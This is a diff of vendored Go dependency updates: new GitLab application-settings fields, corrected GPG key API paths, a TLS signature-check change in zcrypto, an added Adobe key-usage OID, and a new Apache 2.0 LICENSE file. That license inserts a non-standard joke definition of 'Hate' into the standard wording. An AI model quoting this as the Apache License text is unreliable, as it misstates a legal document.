    221 235   PagesDomainVerificationEnabled bool `json:"pages_domain_verification_enabled"`
    222 236   PasswordAuthenticationEnabledForGit bool `json:"password_authentication_enabled_for_git"`
    223 237   PasswordAuthenticationEnabledForWeb bool `json:"password_authentication_enabled_for_web"`
     238 + PasswordNumberRequired bool `json:"password_number_required"`
     239 + PasswordSymbolRequired bool `json:"password_symbol_required"`
     240 + PasswordUppercaseRequired bool `json:"password_uppercase_required"`
     241 + PasswordLowercaseRequired bool `json:"password_lowercase_required"`
    224 242   PerformanceBarAllowedGroupID string `json:"performance_bar_allowed_group_id"`
    225 243   PerformanceBarAllowedGroupPath string `json:"performance_bar_allowed_group_path"`
    226 244   PerformanceBarEnabled bool `json:"performance_bar_enabled"`
    227 245   PersonalAccessTokenPrefix string `json:"personal_access_token_prefix"`
     246 + PipelineLimitPerProjectUserSha int `json:"pipeline_limit_per_project_user_sha"`
    228 247   PlantumlEnabled bool `json:"plantuml_enabled"`
    229 248   PlantumlURL string `json:"plantuml_url"`
    230 249   PollingIntervalMultiplier float64 `json:"polling_interval_multiplier,string"`
    skipped 19 lines
    250 269   ReceiveMaxInputSize int `json:"receive_max_input_size"`
    251 270   RepositoryChecksEnabled bool `json:"repository_checks_enabled"`
    252 271   RepositorySizeLimit int `json:"repository_size_limit"`
     272 + RepositoryStorages []string `json:"repository_storages"`
    253 273   RepositoryStoragesWeighted map[string]int `json:"repository_storages_weighted"`
    254 274   RequireAdminApprovalAfterUserSignup bool `json:"require_admin_approval_after_user_signup"`
    255 275   RequireTwoFactorAuthentication bool `json:"require_two_factor_authentication"`
    skipped 22 lines
    278 298   SlackAppEnabled bool `json:"slack_app_enabled"`
    279 299   SlackAppID string `json:"slack_app_id"`
    280 300   SlackAppSecret string `json:"slack_app_secret"`
     301 + SlackAppSigningSecret string `json:"slack_app_signing_secret"`
    281 302   SlackAppVerificationToken string `json:"slack_app_verification_token"`
    282 303   SnippetSizeLimit int `json:"snippet_size_limit"`
    283 304   SnowplowAppID string `json:"snowplow_app_id"`
    skipped 154 lines
    438 459   DefaultProjectVisibility *VisibilityValue `url:"default_project_visibility,omitempty" json:"default_project_visibility,omitempty"`
    439 460   DefaultProjectsLimit *int `url:"default_projects_limit,omitempty" json:"default_projects_limit,omitempty"`
    440 461   DefaultSnippetVisibility *VisibilityValue `url:"default_snippet_visibility,omitempty" json:"default_snippet_visibility,omitempty"`
     462 + DelayedGroupDeletion *bool `url:"delayed_group_deletion,omitempty" json:"delayed_group_deletion,omitempty"`
    441 463   DelayedProjectDeletion *bool `url:"delayed_project_deletion,omitempty" json:"delayed_project_deletion,omitempty"`
     464 + DeleteInactiveProjects *bool `url:"delete_inactive_projects,omitempty" json:"delete_inactive_projects,omitempty"`
    442 465   DeletionAdjournedPeriod *int `url:"deletion_adjourned_period,omitempty" json:"deletion_adjourned_period,omitempty"`
    443 466   DiffMaxFiles *int `url:"diff_max_files,omitempty" json:"diff_max_files,omitempty"`
    444 467   DiffMaxLines *int `url:"diff_max_lines,omitempty" json:"diff_max_lines,omitempty"`
    skipped 66 lines
    511 534   GitalyTimeoutMedium *int `url:"gitaly_timeout_medium,omitempty" json:"gitaly_timeout_medium,omitempty"`
    512 535   GitpodEnabled *bool `url:"gitpod_enabled,omitempty" json:"gitpod_enabled,omitempty"`
    513 536   GitpodURL *string `url:"gitpod_url,omitempty" json:"gitpod_url,omitempty"`
     537 + GitRateLimitUsersAllowlist *[]string `url:"git_rate_limit_users_allowlist,omitempty" json:"git_rate_limit_users_allowlist,omitempty"`
    514 538   GrafanaEnabled *bool `url:"grafana_enabled,omitempty" json:"grafana_enabled,omitempty"`
    515 539   GrafanaURL *string `url:"grafana_url,omitempty" json:"grafana_url,omitempty"`
    516 540   GravatarEnabled *bool `url:"gravatar_enabled,omitempty" json:"gravatar_enabled,omitempty"`
    skipped 17 lines
    534 558   HousekeepingGcPeriod *int `url:"housekeeping_gc_period,omitempty" json:"housekeeping_gc_period,omitempty"`
    535 559   HousekeepingIncrementalRepackPeriod *int `url:"housekeeping_incremental_repack_period,omitempty" json:"housekeeping_incremental_repack_period,omitempty"`
    536 560   ImportSources *[]string `url:"import_sources,omitempty" json:"import_sources,omitempty"`
     561 + InactiveProjectsDeleteAfterMonths *int `url:"inactive_projects_delete_after_months,omitempty" json:"inactive_projects_delete_after_months,omitempty"`
     562 + InactiveProjectsMinSizeMB *int `url:"inactive_projects_min_size_mb,omitempty" json:"inactive_projects_min_size_mb,omitempty"`
     563 + InactiveProjectsSendWarningEmailAfterMonths *int `url:"inactive_projects_send_warning_email_after_months,omitempty" json:"inactive_projects_send_warning_email_after_months,omitempty"`
    537 564   InProductMarketingEmailsEnabled *bool `url:"in_product_marketing_emails_enabled,omitempty" json:"in_product_marketing_emails_enabled,omitempty"`
    538 565   InvisibleCaptchaEnabled *bool `url:"invisible_captcha_enabled,omitempty" json:"invisible_captcha_enabled,omitempty"`
    539 566   IssuesCreateLimit *int `url:"issues_create_limit,omitempty" json:"issues_create_limit,omitempty"`
    skipped 10 lines
    550 577   MaintenanceModeMessage *string `url:"maintenance_mode_message,omitempty" json:"maintenance_mode_message,omitempty"`
    551 578   MaxArtifactsSize *int `url:"max_artifacts_size,omitempty" json:"max_artifacts_size,omitempty"`
    552 579   MaxAttachmentSize *int `url:"max_attachment_size,omitempty" json:"max_attachment_size,omitempty"`
     580 + MaxExportSize *int `url:"max_export_size,omitempty" json:"max_export_size,omitempty"`
    553 581   MaxImportSize *int `url:"max_import_size,omitempty" json:"max_import_size,omitempty"`
     582 + MaxNumberOfRepositoryDownloads *int `url:"max_number_of_repository_downloads,omitempty" json:"max_number_of_repository_downloads,omitempty"`
     583 + MaxNumberOfRepositoryDownloadsWithinTimePeriod *int `url:"max_number_of_repository_downloads_within_time_period,omitempty" json:"max_number_of_repository_downloads_within_time_period,omitempty"`
    554 584   MaxPagesSize *int `url:"max_pages_size,omitempty" json:"max_pages_size,omitempty"`
    555 585   MaxPersonalAccessTokenLifetime *int `url:"max_personal_access_token_lifetime,omitempty" json:"max_personal_access_token_lifetime,omitempty"`
    556 586   MaxSSHKeyLifetime *int `url:"max_ssh_key_lifetime,omitempty" json:"max_ssh_key_lifetime,omitempty"`
    skipped 9 lines
    566 596   NotesCreateLimit *int `url:"notes_create_limit,omitempty" json:"notes_create_limit,omitempty"`
    567 597   NotifyOnUnknownSignIn *bool `url:"notify_on_unknown_sign_in,omitempty" json:"notify_on_unknown_sign_in,omitempty"`
    568 598   OutboundLocalRequestsAllowlistRaw *string `url:"outbound_local_requests_allowlist_raw,omitempty" json:"outbound_local_requests_allowlist_raw,omitempty"`
     599 + OutboundLocalRequestsWhitelist *[]string `url:"outbound_local_requests_whitelist,omitempty" json:"outbound_local_requests_whitelist,omitempty"`
     600 + PackageRegistryCleanupPoliciesWorkerCapacity *int `url:"package_registry_cleanup_policies_worker_capacity,omitempty" json:"package_registry_cleanup_policies_worker_capacity,omitempty"`
    569 601   PagesDomainVerificationEnabled *bool `url:"pages_domain_verification_enabled,omitempty" json:"pages_domain_verification_enabled,omitempty"`
    570 602   PasswordAuthenticationEnabledForGit *bool `url:"password_authentication_enabled_for_git,omitempty" json:"password_authentication_enabled_for_git,omitempty"`
    571 603   PasswordAuthenticationEnabledForWeb *bool `url:"password_authentication_enabled_for_web,omitempty" json:"password_authentication_enabled_for_web,omitempty"`
     604 + PasswordNumberRequired *bool `url:"password_number_required,omitempty" json:"password_number_required,omitempty"`
     605 + PasswordSymbolRequired *bool `url:"password_symbol_required,omitempty" json:"password_symbol_required,omitempty"`
     606 + PasswordUppercaseRequired *bool `url:"password_uppercase_required,omitempty" json:"password_uppercase_required,omitempty"`
     607 + PasswordLowercaseRequired *bool `url:"password_lowercase_required,omitempty" json:"password_lowercase_required,omitempty"`
    572 608   PerformanceBarAllowedGroupID *string `url:"performance_bar_allowed_group_id,omitempty" json:"performance_bar_allowed_group_id,omitempty"`
    573 609   PerformanceBarAllowedGroupPath *string `url:"performance_bar_allowed_group_path,omitempty" json:"performance_bar_allowed_group_path,omitempty"`
    574 610   PerformanceBarEnabled *bool `url:"performance_bar_enabled,omitempty" json:"performance_bar_enabled,omitempty"`
    575 611   PersonalAccessTokenPrefix *string `url:"personal_access_token_prefix,omitempty" json:"personal_access_token_prefix,omitempty"`
    576 612   PlantumlEnabled *bool `url:"plantuml_enabled,omitempty" json:"plantuml_enabled,omitempty"`
    577 613   PlantumlURL *string `url:"plantuml_url,omitempty" json:"plantuml_url,omitempty"`
     614 + PipelineLimitPerProjectUserSha *int `url:"pipeline_limit_per_project_user_sha,omitempty" json:"pipeline_limit_per_project_user_sha,omitempty"`
    578 615   PollingIntervalMultiplier *float64 `url:"polling_interval_multiplier,omitempty" json:"polling_interval_multiplier,omitempty"`
    579 616   PreventMergeRequestsAuthorApproval *bool `url:"prevent_merge_requests_author_approval,omitempty" json:"prevent_merge_requests_author_approval,omitempty"`
    580 617   PreventMergeRequestsCommittersApproval *bool `url:"prevent_merge_requests_committers_approval,omitempty" json:"prevent_merge_requests_committers_approval,omitempty"`
    skipped 17 lines
    598 635   ReceiveMaxInputSize *int `url:"receive_max_input_size,omitempty" json:"receive_max_input_size,omitempty"`
    599 636   RepositoryChecksEnabled *bool `url:"repository_checks_enabled,omitempty" json:"repository_checks_enabled,omitempty"`
    600 637   RepositorySizeLimit *int `url:"repository_size_limit,omitempty" json:"repository_size_limit,omitempty"`
     638 + RepositoryStorages *[]string `url:"repository_storages,omitempty" json:"repository_storages,omitempty"`
    601 639   RepositoryStoragesWeighted *map[string]int `url:"repository_storages_weighted,omitempty" json:"repository_storages_weighted,omitempty"`
    602 640   RequireAdminApprovalAfterUserSignup *bool `url:"require_admin_approval_after_user_signup,omitempty" json:"require_admin_approval_after_user_signup,omitempty"`
    603 641   RequireTwoFactorAuthentication *bool `url:"require_two_factor_authentication,omitempty" json:"require_two_factor_authentication,omitempty"`
    skipped 22 lines
    626 664   SlackAppEnabled *bool `url:"slack_app_enabled,omitempty" json:"slack_app_enabled,omitempty"`
    627 665   SlackAppID *string `url:"slack_app_id,omitempty" json:"slack_app_id,omitempty"`
    628 666   SlackAppSecret *string `url:"slack_app_secret,omitempty" json:"slack_app_secret,omitempty"`
     667 + SlackAppSigningSecret *string `url:"slack_app_signing_secret,omitempty" json:"slack_app_signing_secret,omitempty"`
    629 668   SlackAppVerificationToken *string `url:"slack_app_verification_token,omitempty" json:"slack_app_verification_token,omitempty"`
    630 669   SnippetSizeLimit *int `url:"snippet_size_limit,omitempty" json:"snippet_size_limit,omitempty"`
    631 670   SnowplowAppID *string `url:"snowplow_app_id,omitempty" json:"snowplow_app_id,omitempty"`
    skipped 98 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/users.go
    skipped 605 lines
    606 606  //
    607 607  // GitLab API docs: https://docs.gitlab.com/ce/api/users.html#get-a-specific-gpg-key
    608 608  func (s *UsersService) GetGPGKey(key int, options ...RequestOptionFunc) (*GPGKey, *Response, error) {
    609  - u := fmt.Sprintf("users/gpg_keys/%d", key)
     609 + u := fmt.Sprintf("user/gpg_keys/%d", key)
    610 610   
    611 611   req, err := s.client.NewRequest(http.MethodGet, u, nil, options)
    612 612   if err != nil {
    skipped 38 lines
    651 651  //
    652 652  // GitLab API docs: https://docs.gitlab.com/ce/api/users.html#delete-a-gpg-key
    653 653  func (s *UsersService) DeleteGPGKey(key int, options ...RequestOptionFunc) (*Response, error) {
    654  - u := fmt.Sprintf("users/gpg_keys/%d", key)
     654 + u := fmt.Sprintf("user/gpg_keys/%d", key)
    655 655   
    656 656   req, err := s.client.NewRequest(http.MethodDelete, u, nil, options)
    657 657   if err != nil {
    skipped 48 lines
    706 706  //
    707 707  // GitLab API docs:
    708 708  // https://docs.gitlab.com/ce/api/users.html#add-a-gpg-key-for-a-given-user
    709  -func (s *UsersService) AddGPGKeyForUser(user int, options ...RequestOptionFunc) (*GPGKey, *Response, error) {
     709 +func (s *UsersService) AddGPGKeyForUser(user int, opt *AddGPGKeyOptions, options ...RequestOptionFunc) (*GPGKey, *Response, error) {
    710 710   u := fmt.Sprintf("users/%d/gpg_keys", user)
    711 711   
    712  - req, err := s.client.NewRequest(http.MethodPost, u, nil, options)
     712 + req, err := s.client.NewRequest(http.MethodPost, u, opt, options)
    713 713   if err != nil {
    714 714   return nil, nil, err
    715 715   }
    skipped 625 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/zmap/rc2/LICENSE
     1 + Apache License
     2 + Version 2.0, January 2004
     3 + http://www.apache.org/licenses/
     4 +
     5 + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
     6 + 
     7 + 1. Definitions.
     8 + 
     9 + "License" shall mean the terms and conditions for use, reproduction,
     10 + and distribution as defined by Sections 1 through 9 of this document.
     11 + 
     12 + "Licensor" shall mean the copyright owner or entity authorized by
     13 + the copyright owner that is granting the License.
     14 + 
     15 + "Legal Entity" shall mean the union of the acting entity and all
     16 + other entities that control, are controlled by, or are under common
     17 + control with that entity. For the purposes of this definition,
     18 + "control" means (i) the power, direct or indirect, to cause the
     19 + direction or management of such entity, whether by contract or
     20 + otherwise, or (ii) ownership of fifty percent (50%) or more of the
     21 + outstanding shares, or (iii) beneficial ownership of such entity.
     22 + 
     23 + "You" (or "Your") shall mean an individual or Legal Entity
     24 + exercising permissions granted by this License.
     25 + 
     26 + "Source" form shall mean the preferred form for making modifications,
     27 + including but not limited to software source code, documentation
     28 + source, and configuration files.
     29 + 
     30 + "Object" form shall mean any form resulting from mechanical
     31 + transformation or translation of a Source form, including but
     32 + not limited to compiled object code, generated documentation,
     33 + and conversions to other media types.
     34 + 
     35 + "Work" shall mean the work of authorship, whether in Source or
     36 + Object form, made available under the License, as indicated by a
     37 + copyright notice that is included in or attached to the work
     38 + (an example is provided in the Appendix below).
     39 + 
     40 + "Derivative Works" shall mean any work, whether in Source or Object
     41 + form, that is based on (or derived from) the Work and for which the
     42 + editorial revisions, annotations, elaborations, or other modifications
     43 + represent, as a whole, an original work of authorship. For the purposes
     44 + of this License, Derivative Works shall not include works that remain
     45 + separable from, or merely link (or bind by name) to the interfaces of,
     46 + the Work and Derivative Works thereof.
     47 + 
     48 + "Contribution" shall mean any work of authorship, including
     49 + the original version of the Work and any modifications or additions
     50 + to that Work or Derivative Works thereof, that is intentionally
     51 + submitted to Licensor for inclusion in the Work by the copyright owner
     52 + or by an individual or Legal Entity authorized to submit on behalf of
     53 + the copyright owner. For the purposes of this definition, "submitted"
     54 + means any form of electronic, verbal, or written communication sent
     55 + to the Licensor or its representatives, including but not limited to
     56 + communication on electronic mailing lists, source code control systems,
     57 + and issue tracking systems that are managed by, or on behalf of, the
     58 + Licensor for the purpose of discussing and improving the Work, but
     59 + excluding communication that is conspicuously marked or otherwise
     60 + designated in writing by the copyright owner as "Not a Contribution."
     61 + 
     62 + "Contributor" shall mean Licensor and any individual or Legal Entity
     63 + on behalf of whom a Contribution has been received by Licensor and
     64 + subsequently incorporated within the Work.
     65 + 
     66 + "Hate" shall mean the feeling I feel about all of you with the heat
     67 + of a thousand suns.
     68 + 
     69 + 2. Grant of Copyright License. Subject to the terms and conditions of
     70 + this License, each Contributor hereby grants to You a perpetual,
     71 + worldwide, non-exclusive, no-charge, royalty-free, irrevocable
     72 + copyright license to reproduce, prepare Derivative Works of,
     73 + publicly display, publicly perform, sublicense, and distribute the
     74 + Work and such Derivative Works in Source or Object form.
     75 + 
     76 + 3. Grant of Patent License. Subject to the terms and conditions of
     77 + this License, each Contributor hereby grants to You a perpetual,
     78 + worldwide, non-exclusive, no-charge, royalty-free, irrevocable
     79 + (except as stated in this section) patent license to make, have made,
     80 + use, offer to sell, sell, import, and otherwise transfer the Work,
     81 + where such license applies only to those patent claims licensable
     82 + by such Contributor that are necessarily infringed by their
     83 + Contribution(s) alone or by combination of their Contribution(s)
     84 + with the Work to which such Contribution(s) was submitted. If You
     85 + institute patent litigation against any entity (including a
     86 + cross-claim or counterclaim in a lawsuit) alleging that the Work
     87 + or a Contribution incorporated within the Work constitutes direct
     88 + or contributory patent infringement, then any patent licenses
     89 + granted to You under this License for that Work shall terminate
     90 + as of the date such litigation is filed.
     91 + 
     92 + 4. Redistribution. You may reproduce and distribute copies of the
     93 + Work or Derivative Works thereof in any medium, with or without
     94 + modifications, and in Source or Object form, provided that You
     95 + meet the following conditions:
     96 + 
     97 + (a) You must give any other recipients of the Work or
     98 + Derivative Works a copy of this License; and
     99 + 
     100 + (b) You must cause any modified files to carry prominent notices
     101 + stating that You changed the files; and
     102 + 
     103 + (c) You must retain, in the Source form of any Derivative Works
     104 + that You distribute, all copyright, patent, trademark, and
     105 + attribution notices from the Source form of the Work,
     106 + excluding those notices that do not pertain to any part of
     107 + the Derivative Works; and
     108 + 
     109 + (d) If the Work includes a "NOTICE" text file as part of its
     110 + distribution, then any Derivative Works that You distribute must
     111 + include a readable copy of the attribution notices contained
     112 + within such NOTICE file, excluding those notices that do not
     113 + pertain to any part of the Derivative Works, in at least one
     114 + of the following places: within a NOTICE text file distributed
     115 + as part of the Derivative Works; within the Source form or
     116 + documentation, if provided along with the Derivative Works; or,
     117 + within a display generated by the Derivative Works, if and
     118 + wherever such third-party notices normally appear. The contents
     119 + of the NOTICE file are for informational purposes only and
     120 + do not modify the License. You may add Your own attribution
     121 + notices within Derivative Works that You distribute, alongside
     122 + or as an addendum to the NOTICE text from the Work, provided
     123 + that such additional attribution notices cannot be construed
     124 + as modifying the License.
     125 + 
     126 + You may add Your own copyright statement to Your modifications and
     127 + may provide additional or different license terms and conditions
     128 + for use, reproduction, or distribution of Your modifications, or
     129 + for any such Derivative Works as a whole, provided Your use,
     130 + reproduction, and distribution of the Work otherwise complies with
     131 + the conditions stated in this License.
     132 + 
     133 + 5. Submission of Contributions. Unless You explicitly state otherwise,
     134 + any Contribution intentionally submitted for inclusion in the Work
     135 + by You to the Licensor shall be under the terms and conditions of
     136 + this License, without any additional terms or conditions.
     137 + Notwithstanding the above, nothing herein shall supersede or modify
     138 + the terms of any separate license agreement you may have executed
     139 + with Licensor regarding such Contributions.
     140 + 
     141 + 6. Trademarks. This License does not grant permission to use the trade
     142 + names, trademarks, service marks, or product names of the Licensor,
     143 + except as required for reasonable and customary use in describing the
     144 + origin of the Work and reproducing the content of the NOTICE file.
     145 + 
     146 + 7. Disclaimer of Warranty. Unless required by applicable law or
     147 + agreed to in writing, Licensor provides the Work (and each
     148 + Contributor provides its Contributions) on an "AS IS" BASIS,
     149 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
     150 + implied, including, without limitation, any warranties or conditions
     151 + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
     152 + PARTICULAR PURPOSE. You are solely responsible for determining the
     153 + appropriateness of using or redistributing the Work and assume any
     154 + risks associated with Your exercise of permissions under this License.
     155 + 
     156 + 8. Limitation of Liability. In no event and under no legal theory,
     157 + whether in tort (including negligence), contract, or otherwise,
     158 + unless required by applicable law (such as deliberate and grossly
     159 + negligent acts) or agreed to in writing, shall any Contributor be
     160 + liable to You for damages, including any direct, indirect, special,
     161 + incidental, or consequential damages of any character arising as a
     162 + result of this License or out of the use or inability to use the
     163 + Work (including but not limited to damages for loss of goodwill,
     164 + work stoppage, computer failure or malfunction, or any and all
     165 + other commercial damages or losses), even if such Contributor
     166 + has been advised of the possibility of such damages.
     167 + 
     168 + 9. Accepting Warranty or Additional Liability. While redistributing
     169 + the Work or Derivative Works thereof, You may choose to offer,
     170 + and charge a fee for, acceptance of support, warranty, indemnity,
     171 + or other liability obligations and/or rights consistent with this
     172 + License. However, in accepting such obligations, You may act only
     173 + on Your own behalf and on Your sole responsibility, not on behalf
     174 + of any other Contributor, and only if You agree to indemnify,
     175 + defend, and hold each Contributor harmless for any liability
     176 + incurred by, or claims asserted against, such Contributor by reason
     177 + of your accepting any such warranty or additional liability.
     178 + 
     179 + END OF TERMS AND CONDITIONS
     180 + 
     181 + APPENDIX: How to apply the Apache License to your work.
     182 + 
     183 + To apply the Apache License to your work, attach the following
     184 + boilerplate notice, with the fields enclosed by brackets "[]"
     185 + replaced with your own identifying information. (Don't include
     186 + the brackets!) The text should be enclosed in the appropriate
     187 + comment syntax for the file format. We also recommend that a
     188 + file or class name and description of purpose be included on the
     189 + same "printed page" as the copyright notice for easier
     190 + identification within third-party archives.
     191 + 
     192 + Copyright [yyyy] [name of copyright owner]
     193 + 
     194 + Licensed under the Apache License, Version 2.0 (the "License");
     195 + you may not use this file except in compliance with the License.
     196 + You may obtain a copy of the License at
     197 + 
     198 + http://www.apache.org/licenses/LICENSE-2.0
     199 + 
     200 + Unless required by applicable law or agreed to in writing, software
     201 + distributed under the License is distributed on an "AS IS" BASIS,
     202 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     203 + See the License for the specific language governing permissions and
     204 + limitations under the License.
     205 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/zmap/zcrypto/tls/key_agreement.go
    skipped 457 lines
    458 458   case signatureECDSA:
    459 459   augECDSA, ok := cert.PublicKey.(*x509.AugmentedECDSA)
    460 460   if !ok {
    461  - return nil, errors.New("ECDHE ECDSA: could not covert cert.PublicKey to x509.AugmentedECDSA")
     461 + return digest, errors.New("ECDHE ECDSA: could not covert cert.PublicKey to x509.AugmentedECDSA")
    462 462   }
    463 463   pubKey := augECDSA.Pub
    464 464   ecdsaSig := new(ecdsaSignature)
    465 465   if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil {
    466  - return nil, err
     466 + return digest, err
    467 467   }
    468 468   if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
    469  - return nil, errors.New("ECDSA signature contained zero or negative values")
     469 + return digest, errors.New("ECDSA signature contained zero or negative values")
    470 470   }
    471 471   if !ecdsa.Verify(pubKey, digest, ecdsaSig.R, ecdsaSig.S) {
    472  - return nil, errors.New("ECDSA verification failure")
     472 + return digest, errors.New("ECDSA verification failure")
    473 473   }
    474 474   case signatureRSA:
    475 475   pubKey, ok := cert.PublicKey.(*rsa.PublicKey)
    476 476   if !ok {
    477  - return nil, errors.New("ECDHE RSA requires a RSA server public key")
     477 + return digest, errors.New("ECDHE RSA requires a RSA server public key")
    478 478   }
    479 479   if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, digest, sig); err != nil {
    480  - return nil, err
     480 + return digest, err
    481 481   }
    482 482   case signatureDSA:
    483 483   pubKey, ok := cert.PublicKey.(*dsa.PublicKey)
    484 484   if !ok {
    485  - return nil, errors.New("DSS ciphers require a DSA server public key")
     485 + return digest, errors.New("DSS ciphers require a DSA server public key")
    486 486   }
    487 487   dsaSig := new(dsaSignature)
    488 488   if _, err := asn1.Unmarshal(sig, dsaSig); err != nil {
    489  - return nil, err
     489 + return digest, err
    490 490   }
    491 491   if dsaSig.R.Sign() <= 0 || dsaSig.S.Sign() <= 0 {
    492  - return nil, errors.New("DSA signature contained zero or negative values")
     492 + return digest, errors.New("DSA signature contained zero or negative values")
    493 493   }
    494 494   if !dsa.Verify(pubKey, digest, dsaSig.R, dsaSig.S) {
    495  - return nil, errors.New("DSA verification failure")
     495 + return digest, errors.New("DSA verification failure")
    496 496   }
    497 497   default:
    498  - return nil, errors.New("unknown ECDHE signature algorithm")
     498 + return digest, errors.New("unknown ECDHE signature algorithm")
    499 499   }
    500 500   ka.valid = true
    501 501   return digest, nil
    skipped 284 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/zmap/zcrypto/x509/extended_key_usage.go
    skipped 28 lines
    29 29   OID_EKU_APPLE_CRYPTO_TIER1_QOS = "1.2.840.113635.100.4.6.2"
    30 30   OID_EKU_APPLE_CRYPTO_TIER2_QOS = "1.2.840.113635.100.4.6.3"
    31 31   OID_EKU_APPLE_CRYPTO_TIER3_QOS = "1.2.840.113635.100.4.6.4"
     32 + OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST = "1.2.840.113583.1.1.5"
    32 33   OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING = "1.3.6.1.4.1.311.10.3.1"
    33 34   OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE = "1.3.6.1.4.1.311.10.3.10"
    34 35   OID_EKU_MICROSOFT_KEY_RECOVERY_3 = "1.3.6.1.4.1.311.10.3.11"
    skipped 60 lines
    95 96   oidExtKeyUsageAppleCryptoTier1Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 2}
    96 97   oidExtKeyUsageAppleCryptoTier2Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 3}
    97 98   oidExtKeyUsageAppleCryptoTier3Qos = asn1.ObjectIdentifier{1, 2, 840, 113635, 100, 4, 6, 4}
     99 + oidExtKeyUsageAdobeAuthenticDocumentTrust = asn1.ObjectIdentifier{1, 2, 840, 113583, 1, 1, 5}
    98 100   oidExtKeyUsageMicrosoftCertTrustListSigning = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 1}
    99 101   oidExtKeyUsageMicrosoftQualifiedSubordinate = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 10}
    100 102   oidExtKeyUsageMicrosoftKeyRecovery3 = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 311, 10, 3, 11}
    skipped 60 lines
    161 163   ExtKeyUsageAppleCryptoTier1Qos
    162 164   ExtKeyUsageAppleCryptoTier2Qos
    163 165   ExtKeyUsageAppleCryptoTier3Qos
     166 + ExtKeyUsageAdobeAuthenticDocumentTrust
    164 167   ExtKeyUsageMicrosoftCertTrustListSigning
    165 168   ExtKeyUsageMicrosoftQualifiedSubordinate
    166 169   ExtKeyUsageMicrosoftKeyRecovery3
    skipped 60 lines
    227 230   AppleCryptoTier1Qos bool `json:"apple_crypto_tier1_qos,omitempty" oid:"1.2.840.113635.100.4.6.2"`
    228 231   AppleCryptoTier2Qos bool `json:"apple_crypto_tier2_qos,omitempty" oid:"1.2.840.113635.100.4.6.3"`
    229 232   AppleCryptoTier3Qos bool `json:"apple_crypto_tier3_qos,omitempty" oid:"1.2.840.113635.100.4.6.4"`
     233 + AdobeAuthenticDocumentTrust bool `json:"adobe_authentic_document_trust,omitempty" oid:"1.2.840.113583.1.1.5"`
    230 234   MicrosoftCertTrustListSigning bool `json:"microsoft_cert_trust_list_signing,omitempty" oid:"1.3.6.1.4.1.311.10.3.1"`
    231 235   MicrosoftQualifiedSubordinate bool `json:"microsoft_qualified_subordinate,omitempty" oid:"1.3.6.1.4.1.311.10.3.10"`
    232 236   MicrosoftKeyRecovery3 bool `json:"microsoft_key_recovery_3,omitempty" oid:"1.3.6.1.4.1.311.10.3.11"`
    skipped 81 lines
    314 318   aux.AppleCryptoTier2Qos = true
    315 319   case OID_EKU_APPLE_CRYPTO_TIER3_QOS:
    316 320   aux.AppleCryptoTier3Qos = true
     321 + case OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST:
     322 + aux.AdobeAuthenticDocumentTrust = true
    317 323   case OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING:
    318 324   aux.MicrosoftCertTrustListSigning = true
    319 325   case OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE:
    skipped 127 lines
    447 453   aux.AppleCryptoTier2Qos = true
    448 454   case ExtKeyUsageAppleCryptoTier3Qos:
    449 455   aux.AppleCryptoTier3Qos = true
     456 + case ExtKeyUsageAdobeAuthenticDocumentTrust:
     457 + aux.AdobeAuthenticDocumentTrust = true
    450 458   case ExtKeyUsageMicrosoftCertTrustListSigning:
    451 459   aux.MicrosoftCertTrustListSigning = true
    452 460   case ExtKeyUsageMicrosoftQualifiedSubordinate:
    skipped 113 lines
    566 574   ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER1_QOS] = oidExtKeyUsageAppleCryptoTier1Qos
    567 575   ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER2_QOS] = oidExtKeyUsageAppleCryptoTier2Qos
    568 576   ekuOIDs[OID_EKU_APPLE_CRYPTO_TIER3_QOS] = oidExtKeyUsageAppleCryptoTier3Qos
     577 + ekuOIDs[OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST] = oidExtKeyUsageAdobeAuthenticDocumentTrust
    569 578   ekuOIDs[OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING] = oidExtKeyUsageMicrosoftCertTrustListSigning
    570 579   ekuOIDs[OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE] = oidExtKeyUsageMicrosoftQualifiedSubordinate
    571 580   ekuOIDs[OID_EKU_MICROSOFT_KEY_RECOVERY_3] = oidExtKeyUsageMicrosoftKeyRecovery3
    skipped 59 lines
    631 640   ekuConstants[OID_EKU_APPLE_CRYPTO_TIER1_QOS] = ExtKeyUsageAppleCryptoTier1Qos
    632 641   ekuConstants[OID_EKU_APPLE_CRYPTO_TIER2_QOS] = ExtKeyUsageAppleCryptoTier2Qos
    633 642   ekuConstants[OID_EKU_APPLE_CRYPTO_TIER3_QOS] = ExtKeyUsageAppleCryptoTier3Qos
     643 + ekuConstants[OID_EKU_ADOBE_AUTHENTIC_DOCUMENT_TRUST] = ExtKeyUsageAdobeAuthenticDocumentTrust
    634 644   ekuConstants[OID_EKU_MICROSOFT_CERT_TRUST_LIST_SIGNING] = ExtKeyUsageMicrosoftCertTrustListSigning
    635 645   ekuConstants[OID_EKU_MICROSOFT_QUALIFIED_SUBORDINATE] = ExtKeyUsageMicrosoftQualifiedSubordinate
    636 646   ekuConstants[OID_EKU_MICROSOFT_KEY_RECOVERY_3] = ExtKeyUsageMicrosoftKeyRecovery3
    skipped 44 lines
